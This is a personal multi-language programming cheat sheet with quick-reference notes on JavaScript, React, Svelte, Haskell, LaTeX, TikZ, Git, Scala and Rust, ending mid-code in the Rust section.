code"KeyQ" (physical key, e.g. that's also the Dvorak ' key)
altKey, ctrlKey, metaKey, shiftKeyboolean
repeatboolean: for keydown, whether this event from the key being held down and automatically repeating

fetch

fetch('http://example.com/movies.json', options).then((response) => ...)
	options = { method: "POST", headers: { ... }, body: ... }

response.staus // integer
response.ok // boolean if 200 to 299
// promises:
response.json()
response.text()
// i.e. you might
fetch(...).then(response => response.json()).then(...)

jQuery

$(selector), $(document.createElement(tagname: string))
Attributes/CSS
.attr(name: string).attr(name: string, value: string)
.prop(name: string).prop(name: string, value: string)
.val().val(value: string)
.hasClass(cls: string)
.addClass(cls: string)
.removeClass(cls: string)
.toggleClass(cls: string)
.html().html(value: string)
.text().text(value: string)
Handlers
.click(handler)
.dblclick(handler)
.hover(handler)
Traversal: Filtering
.first()
.last()
.filter(selector: string)
.eq(index: number)
(can be negative, Pythonically)
Traversal
.children(selector?: string)
.find(selector: string)
(descendants)
.next()
.prev()
.parent()

Lodash

Selected utilities.

TypeScript

let one: number = 1;
function add(a: number, b: number): number {
	return a + b;
}
Basic types: Destructuring:
let [first, second, ...rest] = [1, 2, 3, 4];
[first, second] = [second, first];
let comp = [...rest, first, second];
function f([a, b]: [number, string]) {...}
let { a, b } = {a: 1, b: 2};
Fancy types:
let add: (a: number, b: number) => number = ...;
function f(
	a: number,
	defArg: number = 1,
	optArg?: number,
	...varArgs: number[]): string { ... }
Constrains type of this that method is called on:
interface Thing { ... }
function method(this: Thing) { ... }
this must be first argument. Use this: void to force no usage.
interface FillStyle {
	color: string;
	width?: number;
}
interface StyleWithStuff {
	color: string;
	[prop: string]: any;
}
interface NumericBinaryOperator {
	(a: number, b: number): number;
}
interface StringArray {
	[index: number]: string;
}
Generics:
function identity<T>(arg: T): T { return arg; }
Type guard:
if (typeof foo === "number") { ... }
class Thing { ... }
if (thing instanceof Thing) { ... }

Flow

GreaseMonkey

// ==UserScript==
// @name        name
// @version     1
// @namespace   https://www.example.com/
// @description description
// @include     https://www.example.com/*
// @grant       none
// ==/UserScript==
// Include and exclude rules use * to glob.

SVG

<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
  <circle cx="10" cy="10" r="2" fill="red" stroke="blue" stroke-width="3" stroke-dasharray="3 1"/>
  <ellipse cx="10" cy="10" rx="2" ry="3"/>
  <rect x="20" y="20" width="100" height="100"/>
  <line x1="20" y1="20" x2="40" y2="40"/>
  <path d="M10 10" stroke-linecap="bevel|miter|round" stroke-linecap="butt|round|square"/>
  (undersupported stroke-linecap values: arcs; miter-clip)
</svg>

SVG path

Everything goes in the d attribute.

Note: Manipulating these attributes requires .getAttributeNS(null, key) | .setAttributeNS(null, key, value), because something namespaces something.

React

npx create-react-app my-app --template typescript
const element = <div id={expr}>{text}</div>;
<React.Fragment> (possibly <>); special DOM names: camel case e.g. tabIndex and onClick; className, htmlFor... (incidentally, I habitually depend on classnames)
ReactDOM.createRoot(document.getElementById("root")).render(<Game />);
Note: children go in props.children. Whenever you make a list, pass the special attribute key: <Widget key={number.toString()}>. Unique among siblings. Simplest choice is an array index, but if items get inserted/deleted try to persist the key on the same or similar elements for optimal reconciliation.

Functional component

function Widget(props) {
  return /* use props */;
}

Class component

// perf: inherit from React.PureComponent to skip updates if prop, state are
// shallowly equal to past values
class Widget extends React.Component {
  // only place where you assign to this.state, everywhere else call this.setState
  constructor(props) {
    super(props); this.state = {};

    // refs for "imperative HTML things" or class components
    this.widgetRef = React.createRef();
    // later, if (this.widgetRef.current !== null) this.widgetRef.current.focus();
  }

  render() {
    // common pattern
    const { foo, bar } = this.props;
    const { baz, quux } = this.state;
    return <input ref={this.widgetRef}>...</input>;
  }

  // note, arrow function instead of method so we bind `this`!! ("public instance field", via)
  // let us pass this.handleClick as prop to things
  handleClick = () => {
    // you should use this.state immutably! setState implicitly merges a la Object.assign
    this.setState({ foo: bar });
    // React may batch calls; if modification depends on previous state, do:
    this.setState((state, props) => { foo: !state.foo });
    // also can pass second arg, callback, which will read updated state
  }

  // lifecycle methods
  // setup/teardown, e.g. timers, websockets... generally put in members, not this.state
  componentDidMount() {
    this.timeout = window.setInterval(this.tick, 1000);
  }
  componentWillUnmount() {
    window.clearInterval(this.timeout);
  };
}

controlled components

handleChange = (event) => {
  this.setState({ value: event.target.value });
}
<input type="text" value={this.state.value} onChange={this.handleChange} />
React textareas and selects also take a value, so work the same way. (Unlike HTML where textareas take children and select > options might be selected)
// React select
<select value={this.state.value} onChange={this.handleChange}>
  <option value="foo">Foo</option>
</select>
Checkboxes: Same but use checked, event.target.checked.
<input
  type="checkbox"
  checked={selected}
  onChange={this.handleChange}
/>
Radio buttons:
this.setState({ value: event.target.value });
<input
  type="radio"
  name="groupName"
  value="foo"
  checked={this.state.value === "foo"}
  onChange={this.handleChange}
/>

hooks?

Contract: Always call the exact same hooks in the exact same order (never in conditionals or loops... though maybe fixed-size loops?)
const ThemeContext = React.createContext({ foo: bar });
<ThemeContext.Provider value=> ... </ThemeContext.Provider>

function Example() {
  // setCount does not merge. can still pass func that takes old state, for batching
  const [count, setCount] = useState(0 /* initial state */);
  // can pass a function as initialState for perf, since initialState would be
  // eagerly evaluated every render

  // after each render: combines componentDidMount, componentDidUpdate
  useEffect(
    () => {
      document.title = `You clicked ${count} times`;

      // optionally, componentWillUnmount-ish cleanup
      // but note that by default we cleanup before each new effect call, by design!
      return () => ...;
    },
    // optional list of dependencies, skip update if 1-deep equal
    [count] // in particular, [] would mean only mount/unmount
  );

  // non-state-affecting memoization, dependencies as above
  let result = useMemo(() => computeExpensiveValue(a, b), [a, b]);

  // plumb data from far away
  const theme = useContext(ThemeContext);
  theme.foo;

  // mini Redux
  // earlier: function reducer(state, action) { return /* new state */; }
  const [state, dispatch] = useReducer(reducer, initialState);

  // ref or any imperative thing to grab
  const inputEl = useRef(null);
  inputEl.current;

  return /* count */;
}

Svelte

State is just variables. Handlers can Just Mutate (!!)
let foo = 0;
Prop, for a client to pass in:
export let foo /* = "optional default value" */;
Magic top-level line that recomputes when dependencies change. Don't add let, the compiler will add it if needed:
$: bar = baz(foo, quux);
$ can also precede a block or even e.g. an if statement.

Mutating state variables is more OK than in React because the compiler has a better understanding that they should cause recalculations; in particular foo[bar] = baz seems to be totally kosher. Calling mutating functions (e.g. foo.push(1) won't work, but you can just invalidate with foo = foo; after. (Or you can stick to foo = [...foo, 1]...)

A simple rule of thumb: the updated variable must directly appear on the left hand side of the assignment.
UI:
{expr}
<div foo={bar}> or (to appease syntax highlighters) <div foo="{bar}">
{#if condition}
HTML goes here
{:else if} (!)
{:else} (!)
{/if}
{#each expression as name}...{/each}
{#each expression as name, index}...{/each} // as in Array.map
{#each expression as name (key)}...{/each} // expr like React's key for reconciliation
{#each expression as name, index (key)}...{/each}
{#each expression as name}...{:else}...{/each} // empty
Events:
<button on:click={handle}>
Zero or more "modifiers" follow |:
<button on:click|preventDefault|stopPropagation|capture|once={handle}>
Dynamic style:
<div class:active={active}> // that class if truthy
<div class:active> // or even shorthand...
<div style:color={myColor}>
Binding:
<input type="text" bind:value={foo}> (or "number", etc.)
<input type="checkbox" bind:checked={foo}>
<input type="radio" bind:group={foo} value={"bar"}>
<canvas bind:this={canvas}/> // for imperative stuff
Composition: In Widget, use <slot>fallback</slot>, and outside just use <Widget>child</Widget>.

Lifecycle calls must be at the top level:

import { onMount } from 'svelte';
onMount(
  // some function that might set state
  // can also return a cleanup function
);
beforeUpdate(/* ... */);
afterUpdate(/* ... */);
onDestroy(/* ... */);
Magic dynamism:
<svelte:self/> // recursion!
<svelte:component this={thing} foo={bar}/>
// i.e. given RedThing.svelte, BlueThing.svelte,
<svelte:component this={foo ? RedThing : BlueThing}/>

<svelte:element this={"div"}/>hi</svelte:element>
Magic elements, top-level only. Convenient to unbind listeners when unmounted.
<svelte:window on:event={handler}/>
<svelte:body on:event={handler}/>
<svelte:head/> /* head tags */ </svelte:head>
A store is basically a std::shared_ptr, for when top-down data flow doesn't work.
// in some module:
import { writable } from 'svelte';
let v = writable(0);

// components can import v from that module and use or assign to $v
// which is roughly sugar for
let localV;
v.subscribe(v => { localV = v; });
$v = newValue; // sugar for v.set(newValue);
v.update(v > newValue);

<div>{localV}</div>
Contexts let you plumb data from far away. Also must be at top level, and are not reactive (stick a store in a context if you want that).
import { setContext, getContext } from 'svelte';
setContext('answer', 42);
// ...
getContext('answer'); // from closest parent component
Transitions are customizable to a truly absurd degree. Basically they occur when the element enters or leaves the DOM.
import { fade, ... } from 'svelte/transition';
{#if visible}
	<div transition:fade>fades in and out</div>
	<div in:fade>fades in</div>
	<div out:fade>fades out</div>
{/if}
If you're a big transition fan, you can use a {#key expr} block, which destroys and recreates its contents when expr changes.
{#key expr}...{/key}

Haskell

Typeclass Syntax

class Foo a where
foo :: a -> a
instance Foo Int where
	foo = (+2)
class Foo a => Bar a where
	bar :: a -> a
instance Bar Int where
	bar = subtract 2
class (Foo a, Bar a) => Quux a where
	quux :: a -> a
instance Quux Int where
	quux = (*2)

from Functional Python

PythonHaskell
[f(v) for v in li][f(v) | v <- li]
[f(v) for v in li, w in lj][f(v) | v <- li, w <- lj]
[f(v) for v in li if cond][f(v) | v <- li, cond]
lambda x, y: x + y\x y -> x + y

Precedence

Prec infixl infix infixr
:: (sort of)
9 !! default
Map.! Map.\\ Set.\\ Array.! Array.//
.
8 Bits.shift Bits.rotate
Lens.^. ...
^ ^^ **
7 * / div mod rem quot
.&.
6 + -
xor
↑ ~ "calculation" / "data flow" ~ ↓
5 .|. Seq.|> : ++
<+> Seq.<| Seq.><
4 <$> <*> <* *> <**> == /= < <= > > elem notElem Lens..~ ...
↑ ~ "data flow" / "control flow" ~ ↓
3 <|> &&
*** &&&
2 ||
+++ |||
1 >> >>=
Lens.&
=<< >=> <=< >>> <<<
0 $ $! seq
DeepSeq.$!!

Functions

Control.Monad

m is a monad. * = append _ to return m () instead.

ST (Control.Monad.ST + Data.STRef)

Arrays in ST

(type constraints are elided, a = mutable array, c = immutable ("constant") array)

(Variants of freeze and thaw prefixed with unsafe, which don't copy the array, are in Data.Array.Unsafe.)

Vectors in ST (Data.Vector.Mutable)

Import qualified. Obvious functions' type signatures not given. Data.Vector.Unboxed.Mutable has a nearly identical interface. Constructors yield PrimMonad m ⇒ m (MVector (PrimState m) a); destructive functions take and manipulate PrimMonad m ⇒ MVector (PrimState m) a. These constraints are not shown below for simplicity. Note that the slicing functions are pure and yield views through which the original vector can be modified.

u* denotes presence of an unsafe variant obtainable by prefixing unsafe and camelCasing. Here, unsafe means no bounds checking.

Interface with pure Vector code (import from Data.Vector; here, unsafe means no whole-array-copying):

Data.Array / Data.Vector

Data.Vector has far more functions and typeclasses, but Data.Array can be multidimensional, can have indices defined arbitrarily, and is currently more portable. Its only Array-ish typeclass of interest is Functor.

Data.Vector must be imported qualified. Functions already listed in family table or as unsafe interface functions above aren't here. Obvious functions' type signatures not given. Data.Vector.Unboxed has a nearly identical interface.

u* denotes presence of an unsafe variant obtainable by prefixing unsafe and camelCasing. [M] denotes a monadic version (with a different type, working with Kleisli arrows).

Data.ByteString[.Char8] | Data.Text (not mentioned in below table, plus copy)

a is the element type, Word8 or Char. S is the string type, ByteString or Text.

Data.ByteString[.Char8]Data.Text
pack :: [a] → S
unpack :: S → [a]
uncons :: S → Maybe (a, S)
unsnoc :: ByteString → Maybe (ByteString, a)
copy :: S → S O(n), prevent a slice from keeping reference to rest of string
intersperse :: a → S → S
intercalate :: S → [S] → S
transpose :: [S] → [S]
split :: a → ByteString → [ByteString]
splitOn :: Text → Text → [Text]
splitWith :: (a → Bool) → ByteString → [ByteString]split :: (Char → Bool) → Text → [Text]
is{Pre|Suf|In}fixOf :: S → S → Bool
replace :: Text (needle) → Text (replacement) → Text (haystack) → Text
strip, stripStart, stripEnd :: Text → Text
[.Char8 only]
readInt :: ByteString → Maybe (Int, ByteString)
readInteger :: ByteString → Maybe (Integer, ByteString)
import Data.Text.Read
type Reader a = Text → Either String (a, Text)

decimal, hexadecimal :: Integral a ⇒ Reader a
double :: Reader Double
rational :: Fractional a ⇒ Reader a
signed :: Num a ⇒ Reader a → Reader a
[.Char8 only] lines, words :: S → [S]
[.Char8 only] unlines, unwords :: [S] → S
Data.Text.IO
getLine :: IO S
getContents :: IO S
putStr :: S → IO ()
[deprecated for Data.ByteString, OK for .Char8] putStrLn :: IO S
interact :: (S → S) → IO ()
readFile :: FilePath → IO S
writeFile :: FilePath → S → IO ()
appendFile :: FilePath → S → IO ()

Data.Char

Data.Function

Data.List and Friends

C a generically denotes a container containing objects of type a.

Prelude
Data.List
[a]
Data.Sequence
Seq a
Data.Vector
Vector a
Data.ByteString[.Char8]
ByteString
(a = Word8 | Char)
Data.Text, Data.Text.IO, Data.Text.Read
Text
a = Char
Functor fmap (<$>)
Applicative pure, (<*>)
Monad return, (>>=), ...
MonadPlus mzero, mplus, ...
Foldable fold, foldMap, fold{lr1'},
    concat msum, asum fold
    concatMap foldMap
  traverse_, mapM_, forM_, sequence_, toList ...
  and, or, any, all, sum, product
  maximum[By], minimum[By], elem, notElem, find
Δ package contains many similar [Word8|Char]-only functions with same names
unpack :: BS → [a]
unpack :: Text → [Char]
Traversable traverse, sequenceA, mapM, sequence
Monoid mempty, mappend (<>)
(++)(><)(++)append
[]empty
singleton :: a → C a
null
force :: Vector a → Vector acopy :: {BS|Text} → {BS|Text}
lengthsizelength
compareLength :: Text → Int → Ordering
replicate :: Int → a → C areplicate :: Int → Text → Text
import Control.Monad
replicateM :: Int → m a → m [a]
replicateM :: Int → m a → m (C a)
head, last
(!!)index(!)
(!?)
unsafeIndex
index
tail, init
take, drop, splitAt
tails, initstails, inits
map
reverse
filter
(:)(<|)cons
(|>)snoc
scan[lr][1]
takeWhiletakeWhileL
takeWhileR
takeWhile
dropWhiledropWhileL
dropWhileR
dropWhiledropWhile
dropWhileEnd
dropAround
elemIndex
findIndex
elemIndex{LR}
findIndex
elemIndex
findIndex
elemIndex[End]
findIndex no [End]!
findIndex
elemIndices
findIndices
:: → [Int]
elemIndices{LR}
findIndices{LR}
:: → [Int]
elemIndices
findIndices
:: → Vector Int
elemIndices
findIndices
:: → [Int]
spanspanl
spanr
spanspan
spanEnd
span
breakbreakl
breakr
breakbreak
breakEnd
span
partitionpartition
unstablePartition
partition
sort[By]sort[By]
unstableSort[By]
sort
zip{..7}zip{..4}zip{..6}zip :: (BS|T) → (BS|T) → [(a,a)]
zipWith{..7}zipWith{..4}zipWith{..6}zipWith :: (a → a → b) → (BS|T) → (BS|T) → [b]

Data.List (not mentioned above)

Note: Nearly every function on Foldables, defined in Data.Foldable, has a list-specific version in Data.List; see above. These are not listed although they're technically not the same functions.

Data.Map

Note: Many names clash with Prelude; please import qualified Data.Map as Map

Data.Maybe

Data.Monoid

newtypes:

Data.Ord

newtype Down a

Data.Set

Note: Many names clash with Prelude; please import qualified Data.Set as Set

Debug.Trace

System.IO

LaTeX

Stuff

\includegraphics[width=\textwidth]{grasshopper.jpg}

(Mac) Use TeX Live Utility to install from repos. Or, stuff goes in ~/Library/texmf/tex/latex. LaTeX will find it.

Text Size

tiny, scriptsize, footnotesize, small, normalsize, large, Large, LARGE, huge, Huge

Alignment and Space etc.

\noindent; \hfill, \vfill, \hspace{...}, \vspace{...}

Centering: \begin{center} ... \end{center} for a paragraph or so, \centerline{...} for a line continuing the same paragraph

Same-sizing things: \left, \right, possibly \middle. \middle\mid doesn't work, use \mathrel{}\middle|\mathrel{} instead.

Boxes

Horizontal box of fixed width: \makebox[5cm][c]{Text}

Paragraph box of fixed width: \parbox[c]{5cm}{Line one \\ Line two}

Tabular, for box that takes width of longest line: \begin{tabular}{@{}c{@}}Line one \\ Line two\end{tabular}

Raise box: \raisebox{5cm}{text}

Minipage: \begin{minipage}[t]{5cm} \end{minipage}

References

\begin{equation} \label{eq:life}
6 \times 9 = 42
\end{equation}

Equation \ref{eq:life} is good. \eqref{eq:life} is good.

Defining

\DeclareMathOperator{\End}{End}\newcommand{\End}{\operatorname{End}} (also, starred versions typeset limits under/over, instead of as sub/superscripts)

Things Above and Below

Cases

f(x) = \begin{cases}
	0 & \text{if } x = 0 \\
	1 & \text{else}
\end{cases}

Tabular

\begin{tabular}[pos]{table spec}
Columns in spec: lcr; pmb followed by width for paragraphs (the latter two require array package)

Packages

Some command-line magic: ack usepackage | sed 's/^.*{\(.*\)}.*$/\1/g' | sort | uniq | less. Don't do the search too widely, I think at some point the pipe gets too huge and some programs give up.

Asymptote

draw(shape[, pen]);

dot(point[, pen]); (dot's dimension doesn't get scaled)

Label(string s="", align align=NoAlign, pen p=nullpen...)

Programming

Very C/C++/Java-like: essentially same syntax for declaring and initializing variables, numbers, strings, operators, function declaration, control flow (if, while, do, break, continue, for (+ "for each" with for(:)))

^ is xor and ternary conditional exists.

Deviations: bitwise functions are (non-infix) AND, OR, XOR, NOT. There's even CLZ and CTZ. Also only pre(inc/dec)rement exists; no post(inc/dec)rement because infix -- joins paths.

Types: string, int, real, pair, path, guide, pen...

Features var, its type-inferring type declaration (like C++'s auto). It can be used in for(:) loops too.

Pairs are like (3,7). Immutable; function as points, vectors, and complex numbers. Access components with .x, .y. Unit vector in a direction is expi(deg).

Math

Math functions: sin, cos, tan, asin, acos, atan, exp, log, pow10, log10, sinh, cosh, tanh, asinh, acosh, atanh, sqrt, cbrt, fabs, expm1, log1p, Jn(int n, real), Yn(int n, real), gamma, erf, erfc, atan2, hypot, fmod, remainder, degrees(radians_val), radians(degrees_val), abs.

For convenience, Sin, Cos, Tan, aSin, aCos, aTan use degrees.

floor, ceil, round return ints.

Arrays

Arrays are syntactically like Java instead of C/C++. But they're actually mutable-size. T[] is a type and supports .length, push, pop. Weird bonus feature: set an array.cyclic = true to make accessing any index first reduce the index mod the length.

sequence(n) is [0..n-1], sequence(n, m) is [n..m], reverse(a) returns reversed copy, sort(a) returns sorted copy, min(a) and max(a) return minimum or maximum.

Arrays can be sliced with Python syntax to create copies; slices can be assigned to, to change the array, too.

shape

(0,0)--(1,1)line
(0,0)..(1,1)curve
(0,0){up}..(1,1)force a tangent
up is a synonym for the point (0,1)
(0,0)..{up}(1,1){right}..(2,0)force a tangent on two sides
(0,0)^^(1,1)"reparametrizes so the two are treated as one"
(0,0)--(1,1)--(2,2)--cyclecycle makes the curve closed
circle((0,0), 1)circle, center (0,0), radius 1
ellipse((0,0), 3, 7)ellipse, center (0,0), horiz. diameter 2×3, vert. diameter 2×7
box((0,0), (2,3))rectangle
polygon(7)regular 7-gon inscribed in unit circle at (0,0), with bottom edge horizontal; transform to obtain size/position
arc((0,0), r=1, angle1=123, angle2=234)circular arc, center (0,0), radius 1
angles are polar; counterclockwise if angle1 < angle2, clockwise if angle1 > angle2

transform

Apply to lots of things by tf * thing

shift((1,2)) or shift(1,2)translate
xscale(2), yscale(3), scale(4), scale(5, 6)scale
rotate(90, (1,2))90 degrees about center (1,2)
reflect((1,2),(3,4))reflect about line through points

pen

Pens can be +ed together. The default pen can be set with defaultpen(pen);

red, green, blue, cyan, magenta, yellow, blackcolors
rgb(0,0.5,1)colors; components are fractions from 0 to 1!
cmyk(0,0.1,0.2,0.3)cmyk colors
rgb("99CCFF")hexadecimal
rgb(pen), cmyk(pen)convert to color space (cmyk(red), cmyk(blue), cmyk(green) are nice)
gray(.7)gray or rgb(.7,.7.,7)
linetype(new real[] {4,3,2,1})4 units on, 3 units off, 2 units on, 1 unit off (etc.); repeat
note: "0 units" still draws a dot
space-separated strings can be used?
solidlinetype()
dottedlinetype(new real[] {0,4})
dashedlinetype(new real[] {8,8})
longdashed, dashdotted, longdashdotted, Dotted(pen p=currentpen)......
linewidth(1)default is 0.5
you can also directly + a number to a pen; that operation adds the pen to a linewidth(_)
squarecap, roundcap, extendcap
miterjoin, roundjoin, beveljoin
zerowinding, evenodd

arrow

The type name is arrowbar because arrows and bars are implemented as the same thing.

ArcArrow is smaller than Arrow, about half the size, and has different angle; it's suitable for curved arrows.

Arrow()filled triangle (DefaultHead)
Arrow(SimpleHead)two lines
Arrow(HookHead)curvy quadrilateral
Arrow(TexHead)tiny like $\rightarrow$

Arrow is the same as EndArrow. Other arrows: Begin[Arc]Arrow, Mid[Arc]Arrow, [Arc]Arrows (on both ends). Or pass position=real (e.g. 0.7) as an argument to the Arrow constructor.

TikZ

Open by \usepackage{tikz}. You can load TikZ libraries like \usetikzlibrary{arrows.meta,calc}
\begin{tikzpicture}[scale=2]
\draw(0,0)--(0,1.5);
\draw[dotted](0,1)--(2,3) .. controls (2,4) and (3,5) .. (4,5);
\node[anchor=center] at (2,2) {lorem};
\node[anchor=south west] at (3,3) {ipsum};
\end{tikzpicture}

You can specify units in coordinates e.g. (1cm, 2pt). If unitless, cm implied. Polar coordinates: (30:1cm) Relative coordinates: +(2,0) ("temporarily shifts the pen") or ++(2,0) ("permamently shifts the pen"). Math expressions work in braces e.g.(1,{tan(30)}).

Paths

(0,0)--(1,1)line
(0,0) .. controls (1,1) and (2,1) .. (2,0)curve; you can leave out "and (2,1)" to reuse the first point
(0,0)|-(1,1)vertical then horizontal line
(0,0)-|(1,1)horizontal then vertical line
(0,0) circle[radius=1cm]circle
(0,0) ellipse[x radius=10pt, y radius=10pt]ellipse
(0,0) arc[radius=1,start angle=100,end angle=90,delta angle=10]circular arc (specify two of the last three arguments)
(0,0) rectangle (1,1)rectangle
(0,0) grid (1,1)grid that fills the rectangle (specify option step=.5 to draw)
(0,0) -- (1,0) -- (1,1) -- cycleclose a path; also joins at that corner correctly
(0,0) parabola (1,1)parabola (TODO)
(0,0) sin (1,1)sine (TODO)
(0,0) cos (1,1)cosine (TODO)

Making and Drawing Paths

\path(0,0)--(1,1);defines the path, but doesn't do anything unless you tell it to!
\draw(0,0)--(1,1);actually just short for \path[draw]
\fill(0,0) rectangle (1,1);\path[fill]
\filldraw(0,0) rectangle (1,1);\path[fill,draw]
\shade(0,0) rectangle (1,1);
\shade[top color=yellow,bottom color=black]...
\shade[left color=yellow,right color=black]...
\shade[inner color=yellow,outer color=black]...
\shade[ball color=yellow]...
\path[shade]: shade (with gradient, by default top gray to bottom white)
\shadedraw(0,0) rectangle (1,1);\path[shade,draw]
\clip(0,0) rectangle (1,1);\path[clip] clip everything following in this picture (or scope)
\useasboundingbox(0,0) rectangle (1,1);\path[useasboundingbox]

Options for Drawing

Usually you'll put them right after the \draw analogue you're using. But you can set options anywhere in the middle of a path, and you can get a few options to apply to the remaining part of the path or even to a local scope:

\draw (0,0) -- (0,0.5) [xshift=2pt] (0,0) -- (0,0.5);
\draw (0,0) -- (1,1) {[rounded corners] -- (2,0) -- (3,1)} -- (0,0.5);

You can also specify them right after \begin{tikzpicture}, or right after \begin{scope} inside a tikzpicture environment to have then apply to a local scope.

\draw[color=blue!40]...color ("color=" can be omitted if no confusion)
\draw[draw=blue!40]...color for drawing only
\draw[step=0.5]grid step
\draw[thin]thickness: ultra thin, very thin, thin, semithick, thick, very thick, ultra thick
\draw[line cap=butt]line ends: round, rect, butt
\draw[line join=miter]line joins: round, bevel, miter
\draw[miter limit=10]miter limit by a factor
\draw[dotted]dash patterns: solid, dotted, densely dotted, loosely dotted, dashed, densely dashed, loosely dashed, [densely/loosely] dash dot, [densely/loosely] dash dot dot
\draw[dash pattern=on 2pt off 3pf on 4pt off 5pt,dash phase=3pt]
\draw[arrows=->]arrow tips: <-, ->, <->, ->> etc. You can set the tips before and after the - independently, and often omit arrows=: every option with a - is considered an arrow specification. For many types of tips, \usetikzlibrary{arrows.meta} and see below.
\draw[rotate=10]some number of degrees
\draw[help lines]a predefined style for background lines like grid lines or construction lines
\draw[rounded corners=10pt]
\draw[sharp corners]
rounds corners; the length, an inset, is optional

Define/redefine a style like [help lines/.style={blue!50,very thin}] (/. means "don't use; define"). You can access an argument like #1, and set a default as [help lines/.defualt=black].

Math

With \usetikzlibrary{calc}, you can do math in ($ $) brackets (the symbol is chosen to suggest "math" only; there is no math typesetting).

Looping

Something like \foreach \x in {1,2,5}{\draw (\x,0) -- (0,\x);} The range syntax can be like {1,...,10} for a range, or {1,3,...,11} for a skip, or (!?) {1,2,...,5,7,8,...,12}

Arrow Tips

\usetikzlibrary{arrows.meta}
->simple arrow, like \to
->>, ->>>you can have multiple arrows
->>.>>eveything past a . "hovers"; the arrow stem does not pass through it
->|arrow and bar, like for denoting something's dimension
-Stealth
-{Stealth[round]}
concave quadrilateral-ish arrow
-Latex
-{Latex[round]}
triangle-ish arrow

Barbed tips: Arc Barb, Bar, Bracket, Hooks, Parenthesis, Straight Barb, Tee Barb

Math tips: Classical TikZ Rightarrow, Computer Modern Rightarrow, Implies, To

Geometric tips: Circle, Diamond, Ellipse, Kite, Latex, Rectangle, Square, Stealth, Triangle, Turned Square. You can make these open.

Cap tips: Butt Cap, Fast Round (hovering semicircular arc), Fast Triangle (hovering arrow-y concave hexagon), Round Cap, Triangle Cap

Rays[n=8] ends in like an asterisk.

Arrow tip options:

[length=5mm]length of tip (measured along arrow; extra parameters cause it to scale with line width but whatever)
[width=5mm]width of tip (measured perpendicular to arrow)
[inset=5mm]the concave part of Stealth
[scale=2]just scale up
[reversed]reverse the arrow tip
[harpoon] or [left]use only "left" half of arrow tip
[harpoon,swap] or [right]use only "right" half of arrow tip
[color=red]draw with color; again "color=" can be omitted if clear
[fill=red]fill with color
[fill=none] or [open]don't fill

Git

Key
command, subcommand, flag etc.
file
commit / branch / tree-ish
  • HEAD = @ = thing pointing in repo
  • commit^ = commit~ = parent
  • mergecommit^2 = second parent
  • commit~2 = grandparent
Mnemonic:
  • ^ (caret) branches, so it considers multiple parents
  • ~ (tilde) is straight(er), so keeps going straight back (= leftward) in history
remote (origin, upstream)

Remember there are five areas:

StashWorkspaceIndexLocal RepoUpstream
hide stuffactual files that non-git stuff manipulatestaging area, --cached etc.committed
HEAD points somewhere here
push, pull

The actual cheat sheet.

CommandSubcommands, flags, argumentsDescription
git status
hist[alias]
    hist = log --pretty=format:\"%h %ad | %s%d [%an]\" --graph --date=short
(see git immersion)
addfiles
-pfilesinteractively stage parts ("hunks")
  • [y]es, [n]o, [q]uit, [a]ll (this and following), ...
  • [j] = leave undecided & go next; [k] = leave undecided & go previous
  • [s]plit into smaller hunks
  • [e]dit hunk as patch manually
  • [?] = help
-efilesedit patch yourself
-u / --updateall modifications and deletions
-A / --allall additions, modifications, and deletions
commit
-a / --alllike add -u
--amend
--date="`date`"amend w/ current date
(via command substitution; somehow, works even though my `date` is in Chinese)
branch[-r / -a]list (remote / all)
-d / -Dbranchdelete (safe / forceful)
newbranchnew branch (but not checked out; you probably want checkout -b)
oldbranch
checkoutmaster
-bbranchFirst make new branch
fileReset local unstaged changes
--ours / --theirsOne or the other version, during a merge
Note that you manage the canon in rebase: --ours is stem, --theirs is tip
resetHEADfilesReset index = make changes unstaged
--softbranchReset HEAD
--hardHEADReset index and workspace = destroy changes
diff(Working = unstaged) vs staged
--cached / --stagedStaged vs last commit
HEADWorking vs last commit
HEAD^HEADChanges of last commit (easily generalized)
remote[-v]list remotes [with URLs]
addupstreamgit://foo
push
upstreambranch
-u / --set-upstreamtrack branches
-f / --forceafter you screw up
mergebranchUse some other tree-ish to extend this one
--abortabort a merge
rebasestemGraft branch and commits somewhere else
tip(tip will first get checked out)
-i / --interactiveHEAD~1337interactive rebase: rearrange, edit, squash commits...
  • pick: keep as is
  • edit: make changes (can add commits etc.)
  • reword: only change commit message
  • squash: absorb into previous commit + message
  • fixup: absorb into previous commit, delete this message
--root
--continuewith interactive
reverttree-ishMake a commit that restores to this commit
stashput current changes in stash
listlist stashes
popapply stash + pop it (if no conflicts)
stash@{8}
applyapply stash
stash@{8}
dropdelete top stash w/o applying
(esp. after git stash pop + resolving conflicts)
stash@{8}
show[ -p ]show stash briefly
(-p: as patch)
stash@{8}
clean-f[path]Remove files not in version control
-iInteractively
-nDry run
-dAlso directories
-xEven if .gitignore'd
-XOnly if .gitignore'd
ls-files| xargs wc -lCount lines...
get hash of "blob", deterministic function of file contents
git hash-object filename
8e045dbc7eac808d0fe8a9f2a706247cb0df5b58
once in:
git cat-file -t 8e045dbc7eac808d0fe8a9f2a706247cb0df5b58
git cat-file blob 8e045dbc7eac808d0fe8a9f2a706247cb0df5b58
git ls-tree HEAD

Scala

Sequences

[Gen] means the collection might be sequential or parallel.

TraversableOnce has foldLeft[B](z: B)(op: (B, A) ⇒ B): B and foldRight[B](z: B)(op: (A, B) ⇒ B): B. There's no reconstruction.

Traversable begins to have stuff like collect[B](pf: PartialFunction[A, B]): CC[B] and map[B](f: (A) ⇒ B): CC[B].

rerun sbt with flags like -deprecation: set scalacOptions in ThisBuild ++= Seq("-unchecked", "-deprecation")

Rust

format!("{a} {b}", a=3, b=4);
// pretty like Python str.format. {}, {0}, {:b} etc.
// {} uses fmt::Display
// {:?} uses fmt::Debug, formats text for debugging
// {:#?} pretty printing
// {:b} uses binary etc
print!  println!  eprint!  eprintln! all use this

types

T
&T       &'a T
&mut T   &'a mut T

[T; n]    // array with compile-time-known length
  [expr; n] // expression of such an array

// slices, generally only exist behind some reference or other indirection
&str // always valid UTF-8!
  &'static str // type of string literals
&mut str
&[T]
&mut [T]

(T, U) // and so on
() // unit; implicitly returned

fn longest<'a>(x: &'a str, y: &'a str) -> &'a str { ... }
if value: Foo, then value.bar() tries When arguments are passed into any function, deref coercion also automatically tries derefencing.

slices

let s = String::from("hello");
&s[0..2]; // &str
&mut s[0..2]; // &mut str

pointers

struct

#[derive(Clone, Debug)]
struct User {
    username: String,
    // ...
};
struct Color(i32, i32, i32)

let mut user1 = User {
    username: String::from("lol"),
    // ...
};

user1.username = String::from("1234"),

let mut user2 = User {
    username: String::from("lol"),
    ..user1
};

impl User {
    fn area(&self) -> String {
